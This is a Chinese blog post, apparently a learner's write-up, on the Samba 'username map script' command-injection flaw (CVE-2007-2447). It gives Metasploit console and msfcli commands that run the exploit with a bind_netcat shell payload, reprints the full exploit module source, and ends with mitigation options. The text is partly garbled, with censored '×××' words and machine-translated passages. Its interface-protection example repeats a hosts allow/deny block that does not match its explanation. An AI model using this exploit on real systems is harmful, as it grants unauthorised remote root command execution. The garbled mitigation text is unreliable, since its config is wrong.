1. 程式人生 > >一個古老的漏洞username map script,翻出來說說

一個古老的漏洞username map script,翻出來說說

安全 SMB Linux

最近在學Metasploit×××測試,所以寫一下這篇博客,希望能幫助到在學或者遇到了這個漏洞×××的小夥伴們~~

Username map script 是什麽?

Username map script是Samba協議的一個漏洞,ID為CVE-2007-2447,屬於遠程命令註入漏洞,主要影響Samba的3.0.20到3.0.25rc3 版本。

這個bug最初是針對匿名電話進行報告的到SamrChangePassword()MS-RPC功能組合中與“用戶名映射腳本”smb.conf選項(不是默認啟用)。經過Samba開發人員的進一步調查,結果如下確定問題更廣泛和影響遠程打印機和文件共享管理。根原因是傳遞通過MS-RPC提供的未經過濾的用戶輸入在調用定義的外部腳本時調用/ bin / sh

在smb.conf中。但是,與“用戶名映射腳本”不同,漏洞,遠程文件和打印機管理腳本需要經過認證的用戶會話。

漏洞生命周期

2007年5月7日:漏洞匿名披露到[email protected]電子郵件列表中。
2007年5月7日:Samba的開發人員Gerald Carter開始響應這個漏洞。
2007年5月9日:Samba的開發者Jeremy Allison發布了補丁,用於iDefense測試。
2007年5月10日:向vendor-sec郵件列表發布通知。
2007年5月14日:公開漏洞信息。

使用Metasploit利用

方式一:通過控制臺

#進入metasploit控制臺
msfconsole

#選擇usermap_script×××模塊
use exploit/multi/samba/usermap_script

#選擇bind_netcat×××載荷
set payload cmd/unix/bind_netcat

#設置目標地址
set RHOST 10.10.10.254

#設置目標端口
set RPORT 139

#執行×××
exploit

方式二:通過msfcli
msfcli multi/samba/usermap_script PAYLOAD=cmd/unix/bind_netcat RHOST=10.10.10.254 E

源代碼

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::SMB::Client

  # For our customized version of session_setup_no_ntlmssp
  CONST = Rex::Proto::SMB::Constants
  CRYPT = Rex::Proto::SMB::Crypt

  def initialize(info = {})
    super(update_info(info,
      ‘Name‘           => ‘Samba "username map script" Command Execution‘,
      ‘Description‘    => %q{
          This module exploits a command execution vulnerability in Samba
        versions 3.0.20 through 3.0.25rc3 when using the non-default
        "username map script" configuration option. By specifying a username
        containing shell meta characters, attackers can execute arbitrary
        commands.
        No authentication is needed to exploit this vulnerability since
        this option is used to map usernames prior to authentication!
      },
      ‘Author‘         => [ ‘jduck‘ ],
      ‘License‘        => MSF_LICENSE,
      ‘References‘     =>
        [
          [ ‘CVE‘, ‘2007-2447‘ ],
          [ ‘OSVDB‘, ‘34700‘ ],
          [ ‘BID‘, ‘23972‘ ],
          [ ‘URL‘, ‘http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=534‘ ],
          [ ‘URL‘, ‘http://samba.org/samba/security/CVE-2007-2447.html‘ ]
        ],
      ‘Platform‘       => [‘unix‘],
      ‘Arch‘           => ARCH_CMD,
      ‘Privileged‘     => true, # root or nobody user
      ‘Payload‘        =>
        {
          ‘Space‘    => 1024,
          ‘DisableNops‘ => true,
          ‘Compat‘      =>
            {
              ‘PayloadType‘ => ‘cmd‘,
              # *_perl and *_ruby work if they are installed
              # mileage may vary from system to system..
            }
        },
      ‘Targets‘        =>
        [
          [ "Automatic", { } ]
        ],
      ‘DefaultTarget‘  => 0,
      ‘DisclosureDate‘ => ‘May 14 2007‘))

    register_options(
      [
        Opt::RPORT(139)
      ])
  end

  def exploit

    connect

    # lol?
    username = "/=`nohup " + payload.encoded + "`"
    begin
      simple.client.negotiate(false)
      simple.client.session_setup_no_ntlmssp(username, rand_text(16), datastore[‘SMBDomain‘], false)
    rescue ::Timeout::Error, XCEPT::LoginError
      # nothing, it either worked or it didn‘t ;)
    end

    handler
  end
end

解決方法

方案一:限制並發連接的數量
當smbd作為守護進程(而不是inetd)啟動時,Samba能夠限制並發連接的數量。‘max smbd processes‘smb.conf選項允許管理員定義在任何給定時間點運行的smbd進程的最大數量。客戶端連接到服務器的任何進一步嘗試都將被拒絕。

方案二:使用基於主機的保護
在許多Samba安裝中,最大的威脅來自您的直接網絡之外。默認情況下,Samba將接受來自任何主機的連接,這意味著如果您在直接連接到Internet的主機上運行不安全版本的Samba,則可能會特別容易受到×××。
其中在這種情況下,最簡單的修復是使用“主機允許”和“主機否認”桑巴smb.conf配置文件中,只允許從主機特定範圍的訪問您的服務器的選項。一個例子可能是:

hosts allow = 127.0.0.1 192.168.2.0/24 192.168.3.0/24
主機拒絕= 0.0.0.0/0
以上只會允許來自‘localhost‘(您自己的計算機)和兩個專用網絡192.168.2和192.168.3的SMB連接。客戶端發送第一個數據包後,所有其他連接都將被拒絕連接。拒絕將被標記為“不聽名稱”錯誤。

方案三:使用接口保護
默認情況下,Samba將接受它在系統上找到的任何網絡接口上的連接。這意味著如果你有一條ISDN線路或PPP連接到互聯網,那麽Samba將接受這些鏈路上的連接。這可能不是你想要的。

您可以使用以下選項更改此行為:
hosts allow = 127.0.0.1 192.168.2.0/24 192.168.3.0/24
hosts deny = 0.0.0.0/0
它告訴Samba只監聽名稱以‘eth‘開始的接口上的連接,如eth0,eth1,以及名為‘lo‘的回送接口。您需要使用的名稱取決於您使用的操作系統。在上面我使用了Linux上的以太網適配器的通用名稱。
如果您使用上述方法,並且有人嘗試通過稱為‘ppp0‘的PPP接口與主機建立SMB連接,則它們將獲得TCP連接拒絕答復。在這種情況下,根本不會運行Samba代碼,因為操作系統被告知不要將連接從該接口傳遞到任何進程。

方案四:使用防火墻
許多人使用防火墻拒絕訪問他們不希望暴露在網絡之外的服務。這可能是一個非常好的主意,但我建議將它與上述方法結合使用,以便即使防火墻由於某種原因未處於活動狀態而受到保護。

如果您正在設置防火墻,那麽您需要知道允許和阻止哪些TCP和UDP端口。Samba使用以下內容:
UDP / 137 - 由nmbd
UDP / 138使用 - 由nmbd使用
TCP / 139 - 由smbd使用
TCP / 445 - 由smbd使用
最後一個很重要,因為許多舊的防火墻設置可能沒有意識到,因為近年來這個端口只被添加到協議中。

方案五:使用IPC $共享拒絕
如果上述方法不合適,那麽您還可以在最近發現的安全漏洞中使用的IPC $共享上放置更具體的拒絕。這允許您提供對其他共享的訪問,同時拒絕可能不可信的主機訪問IPC $。

要做到這一點,你可以使用:
[ipc $]
hosts allow = 192.168.115.0/24 127.0.0.1
hosts deny = 0.0.0.0/0
這將告訴Samba,除了列出的兩個地方(本地主機和本地子網)外,IPC $連接不能從任何地方被允許。與其他股份的連接仍將被允許。由於IPC $共享是唯一可匿名訪問的共享,因此可以為不知道用戶名/密碼的×××者提供一定程度的保護。
如果你使用這種方法,那麽客戶端在嘗試訪問IPC $共享時將被授予“拒絕訪問”的回復。這意味著這些客戶端將無法瀏覽共享,也可能無法訪問其他一些資源。
我不推薦這種方法,除非由於某種原因不能使用上面列出的其他方法之一。

方案六:升級Samba
個人認為是最好的方法~~~~

一個古老的漏洞username map script,翻出來說說